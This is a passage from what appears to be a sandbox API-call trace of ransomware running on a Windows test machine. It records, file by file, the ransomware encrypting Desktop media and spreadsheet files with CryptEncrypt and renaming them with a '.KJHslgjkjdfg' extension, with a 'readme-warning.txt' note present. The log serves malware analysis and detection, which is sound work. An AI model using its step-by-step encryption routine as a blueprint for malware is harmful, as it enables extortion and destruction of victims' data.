(hKey=0x2c6320) returned 1 [0127.586] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0xfc74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.586] SetEndOfFile (hFile=0xc0) returned 1 [0127.590] GetProcessHeap () returned 0x2a0000 [0127.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0127.590] GetProcessHeap () returned 0x2a0000 [0127.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.590] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RCCe1.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rcce1.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RCCe1.mp3.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rcce1.mp3.kjhslgjkjdfg")) returned 1 [0127.598] CloseHandle (hObject=0xc0) returned 1 [0127.598] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f813410, ftCreationTime.dwHighDateTime=0x1d62774, ftLastAccessTime.dwLowDateTime=0x3f813410, ftLastAccessTime.dwHighDateTime=0x1d62774, ftLastWriteTime.dwLowDateTime=0x3f813410, ftLastWriteTime.dwHighDateTime=0x1d62774, nFileSizeHigh=0x0, nFileSizeLow=0x3b3, dwReserved0=0x0, dwReserved1=0xffff, cFileName="readme-warning.txt", cAlternateFileName="README~1.TXT")) returned 1 [0127.598] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77f5a2a0, ftCreationTime.dwHighDateTime=0x1d5da16, ftLastAccessTime.dwLowDateTime=0xd31949a0, ftLastAccessTime.dwHighDateTime=0x1d5debe, ftLastWriteTime.dwLowDateTime=0xd31949a0, ftLastWriteTime.dwHighDateTime=0x1d5debe, nFileSizeHigh=0x0, nFileSizeLow=0x13a6d, dwReserved0=0x0, dwReserved1=0xffff, cFileName="UfgPP1QkBKWljqd.mp3", cAlternateFileName="UFGPP1~1.MP3")) returned 1 [0127.598] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UfgPP1QkBKWljqd.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ufgpp1qkbkwljqd.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0127.599] GetProcessHeap () returned 0x2a0000 [0127.599] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.599] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.599] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb0 | out: lpNewFilePointer=0x0) returned 1 [0127.599] WriteFile (in: hFile=0xc0, lpBuffer=0x290fcc0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fcc0*, lpNumberOfBytesWritten=0x290fc90*=0x3, lpOverlapped=0x0) returned 1 [0127.600] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.600] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.600] GetProcessHeap () returned 0x2a0000 [0127.600] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x50) returned 0x2c5278 [0127.600] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c5278*, pdwDataLen=0x290fc78*=0x50, dwBufLen=0x50 | out: pbData=0x2c5278*, pdwDataLen=0x290fc78*=0x50) returned 1 [0127.600] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.600] WriteFile (in: hFile=0xc0, lpBuffer=0x2c5278*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c5278*, lpNumberOfBytesWritten=0x290fc90*=0x50, lpOverlapped=0x0) returned 1 [0127.600] WriteFile (in: hFile=0xc0, lpBuffer=0x290fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fc98*, lpNumberOfBytesWritten=0x290fc90*=0x4, lpOverlapped=0x0) returned 1 [0127.601] WriteFile (in: hFile=0xc0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fc90*=0x10, lpOverlapped=0x0) returned 1 [0127.601] WriteFile (in: hFile=0xc0, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290fc90*=0x80, lpOverlapped=0x0) returned 1 [0127.601] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb8 | out: lpNewFilePointer=0x0) returned 1 [0127.601] WriteFile (in: hFile=0xc0, lpBuffer=0x290fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fca8*, lpNumberOfBytesWritten=0x290fc90*=0x8, lpOverlapped=0x0) returned 1 [0127.601] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.601] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.601] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.601] ReadFile (in: hFile=0xc0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x13a6d, lpNumberOfBytesRead=0x290fc9c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fc9c*=0x13a6d, lpOverlapped=0x0) returned 1 [0127.602] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x13a70, dwBufLen=0x13a70 | out: pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x13a70) returned 1 [0127.603] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.603] WriteFile (in: hFile=0xc0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x13a70, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fc90*=0x13a70, lpOverlapped=0x0) returned 1 [0127.603] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.603] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x13b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.604] SetEndOfFile (hFile=0xc0) returned 1 [0127.608] GetProcessHeap () returned 0x2a0000 [0127.608] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c5278 | out: hHeap=0x2a0000) returned 1 [0127.608] GetProcessHeap () returned 0x2a0000 [0127.608] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.609] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UfgPP1QkBKWljqd.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ufgpp1qkbkwljqd.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UfgPP1QkBKWljqd.mp3.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ufgpp1qkbkwljqd.mp3.kjhslgjkjdfg")) returned 1 [0127.613] CloseHandle (hObject=0xc0) returned 1 [0127.613] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f56b40, ftCreationTime.dwHighDateTime=0x1d5e098, ftLastAccessTime.dwLowDateTime=0xd1b24e60, ftLastAccessTime.dwHighDateTime=0x1d5e547, ftLastWriteTime.dwLowDateTime=0xd1b24e60, ftLastWriteTime.dwHighDateTime=0x1d5e547, nFileSizeHigh=0x0, nFileSizeLow=0x8247, dwReserved0=0x0, dwReserved1=0xffff, cFileName="WGtJLhsOqIYtE.xlsx", cAlternateFileName="WGTJLH~1.XLS")) returned 1 [0127.613] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WGtJLhsOqIYtE.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wgtjlhsoqiyte.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0127.613] GetProcessHeap () returned 0x2a0000 [0127.614] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.614] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.614] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb0 | out: lpNewFilePointer=0x0) returned 1 [0127.614] WriteFile (in: hFile=0xc0, lpBuffer=0x290fcc0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fcc0*, lpNumberOfBytesWritten=0x290fc90*=0x9, lpOverlapped=0x0) returned 1 [0127.615] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.615] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.615] GetProcessHeap () returned 0x2a0000 [0127.615] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0127.615] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528*, pdwDataLen=0x290fc78*=0x40, dwBufLen=0x40 | out: pbData=0x2bf528*, pdwDataLen=0x290fc78*=0x40) returned 1 [0127.615] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.615] WriteFile (in: hFile=0xc0, lpBuffer=0x2bf528*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bf528*, lpNumberOfBytesWritten=0x290fc90*=0x40, lpOverlapped=0x0) returned 1 [0127.615] WriteFile (in: hFile=0xc0, lpBuffer=0x290fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fc98*, lpNumberOfBytesWritten=0x290fc90*=0x4, lpOverlapped=0x0) returned 1 [0127.615] WriteFile (in: hFile=0xc0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fc90*=0x10, lpOverlapped=0x0) returned 1 [0127.615] WriteFile (in: hFile=0xc0, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290fc90*=0x80, lpOverlapped=0x0) returned 1 [0127.616] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb8 | out: lpNewFilePointer=0x0) returned 1 [0127.616] WriteFile (in: hFile=0xc0, lpBuffer=0x290fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fca8*, lpNumberOfBytesWritten=0x290fc90*=0x8, lpOverlapped=0x0) returned 1 [0127.616] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.616] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.616] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.616] ReadFile (in: hFile=0xc0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8247, lpNumberOfBytesRead=0x290fc9c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fc9c*=0x8247, lpOverlapped=0x0) returned 1 [0127.616] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x8250, dwBufLen=0x8250 | out: pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x8250) returned 1 [0127.617] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.617] WriteFile (in: hFile=0xc0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8250, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fc90*=0x8250, lpOverlapped=0x0) returned 1 [0127.617] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.617] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x8324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.617] SetEndOfFile (hFile=0xc0) returned 1 [0127.621] GetProcessHeap () returned 0x2a0000 [0127.621] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0127.621] GetProcessHeap () returned 0x2a0000 [0127.621] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.621] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WGtJLhsOqIYtE.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wgtjlhsoqiyte.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WGtJLhsOqIYtE.xlsx.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wgtjlhsoqiyte.xlsx.kjhslgjkjdfg")) returned 1 [0127.629] CloseHandle (hObject=0xc0) returned 1 [0127.629] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed426710, ftCreationTime.dwHighDateTime=0x1d5df74, ftLastAccessTime.dwLowDateTime=0x6f160e60, ftLastAccessTime.dwHighDateTime=0x1d5e67b, ftLastWriteTime.dwLowDateTime=0x6f160e60, ftLastWriteTime.dwHighDateTime=0x1d5e67b, nFileSizeHigh=0x0, nFileSizeLow=0x180a7, dwReserved0=0x0, dwReserved1=0xffff, cFileName="YHSl3HwuPRJ.avi", cAlternateFileName="YHSL3H~1.AVI")) returned 1 [0127.629] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YHSl3HwuPRJ.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yhsl3hwuprj.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0127.630] GetProcessHeap () returned 0x2a0000 [0127.630] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.630] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.630] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb0 | out: lpNewFilePointer=0x0) returned 1 [0127.630] WriteFile (in: hFile=0xc0, lpBuffer=0x290fcc0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fcc0*, lpNumberOfBytesWritten=0x290fc90*=0x9, lpOverlapped=0x0) returned 1 [0127.631] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.631] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.631] GetProcessHeap () returned 0x2a0000 [0127.631] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0127.631] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528*, pdwDataLen=0x290fc78*=0x40, dwBufLen=0x40 | out: pbData=0x2bf528*, pdwDataLen=0x290fc78*=0x40) returned 1 [0127.631] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.631] WriteFile (in: hFile=0xc0, lpBuffer=0x2bf528*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bf528*, lpNumberOfBytesWritten=0x290fc90*=0x40, lpOverlapped=0x0) returned 1 [0127.631] WriteFile (in: hFile=0xc0, lpBuffer=0x290fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fc98*, lpNumberOfBytesWritten=0x290fc90*=0x4, lpOverlapped=0x0) returned 1 [0127.631] WriteFile (in: hFile=0xc0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fc90*=0x10, lpOverlapped=0x0) returned 1 [0127.631] WriteFile (in: hFile=0xc0, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290fc90*=0x80, lpOverlapped=0x0) returned 1 [0127.631] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb8 | out: lpNewFilePointer=0x0) returned 1 [0127.631] WriteFile (in: hFile=0xc0, lpBuffer=0x290fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fca8*, lpNumberOfBytesWritten=0x290fc90*=0x8, lpOverlapped=0x0) returned 1 [0127.631] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.631] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.631] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.631] ReadFile (in: hFile=0xc0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x180a7, lpNumberOfBytesRead=0x290fc9c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fc9c*=0x180a7, lpOverlapped=0x0) returned 1 [0127.632] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x180b0, dwBufLen=0x180b0 | out: pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x180b0) returned 1 [0127.633] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.633] WriteFile (in: hFile=0xc0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x180b0, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fc90*=0x180b0, lpOverlapped=0x0) returned 1 [0127.634] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.634] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x18184, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.634] SetEndOfFile (hFile=0xc0) returned 1 [0127.638] GetProcessHeap () returned 0x2a0000 [0127.638] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0127.638] GetProcessHeap () returned 0x2a0000 [0127.638] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0127.638] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YHSl3HwuPRJ.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yhsl3hwuprj.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YHSl3HwuPRJ.avi.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yhsl3hwuprj.avi.kjhslgjkjdfg")) returned 1 [0127.645] CloseHandle (hObject=0xc0) returned 1 [0127.645] FindNextFileW (in: hFindFile=0x2c6360, lpFindFileData=0x290fd20 | out: lpFindFileData=0x290fd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb562b00, ftCreationTime.dwHighDateTime=0x1d5e4cb, ftLastAccessTime.dwLowDateTime=0xa507eb50, ftLastAccessTime.dwHighDateTime=0x1d5d948, ftLastWriteTime.dwLowDateTime=0xa507eb50, ftLastWriteTime.dwHighDateTime=0x1d5d948, nFileSizeHigh=0x0, nFileSizeLow=0x188cd, dwReserved0=0x0, dwReserved1=0xffff, cFileName="yPy1SQ.mkv", cAlternateFileName="")) returned 1 [0127.645] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yPy1SQ.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ypy1sq.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0127.646] GetProcessHeap () returned 0x2a0000 [0127.646] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0127.646] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0127.646] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb0 | out: lpNewFilePointer=0x0) returned 1 [0127.646] WriteFile (in: hFile=0xc0, lpBuffer=0x290fcc0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fcc0*, lpNumberOfBytesWritten=0x290fc90*=0x3, lpOverlapped=0x0) returned 1 [0127.647] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.647] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.647] GetProcessHeap () returned 0x2a0000 [0127.647] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0127.647] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290fc78*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290fc78*=0x30) returned 1 [0127.647] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.647] WriteFile (in: hFile=0xc0, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290fc90*=0x30, lpOverlapped=0x0) returned 1 [0127.647] WriteFile (in: hFile=0xc0, lpBuffer=0x290fc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fc98*, lpNumberOfBytesWritten=0x290fc90*=0x4, lpOverlapped=0x0) returned 1 [0127.647] WriteFile (in: hFile=0xc0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290fc90*=0x10, lpOverlapped=0x0) returned 1 [0127.647] WriteFile (in: hFile=0xc0, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290fc90*=0x80, lpOverlapped=0x0) returned 1 [0127.647] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290fcb8 | out: lpNewFilePointer=0x0) returned 1 [0127.648] WriteFile (in: hFile=0xc0, lpBuffer=0x290fca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x290fca8*, lpNumberOfBytesWritten=0x290fc90*=0x8, lpOverlapped=0x0) returned 1 [0127.648] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290fc94 | out: phKey=0x290fc94*=0x2c6320) returned 1 [0127.648] CryptSetKeyParam (hKey=0x2c6320, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0127.648] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.648] ReadFile (in: hFile=0xc0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x188cd, lpNumberOfBytesRead=0x290fc9c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290fc9c*=0x188cd, lpOverlapped=0x0) returned 1 [0127.649] CryptEncrypt (in: hKey=0x2c6320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x188d0, dwBufLen=0x188d0 | out: pbData=0x26c0020*, pdwDataLen=0x290fc78*=0x188d0) returned 1 [0127.650] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.650] WriteFile (in: hFile=0xc0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x188d0, lpNumberOfBytesWritten=0x290fc90, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290fc90*=0x188d0, lpOverlapped=0x0) returned 1 [0127.650] CryptDestroyKey (hKey=0x2c6320) returned 1 [0127.650] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x18994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) 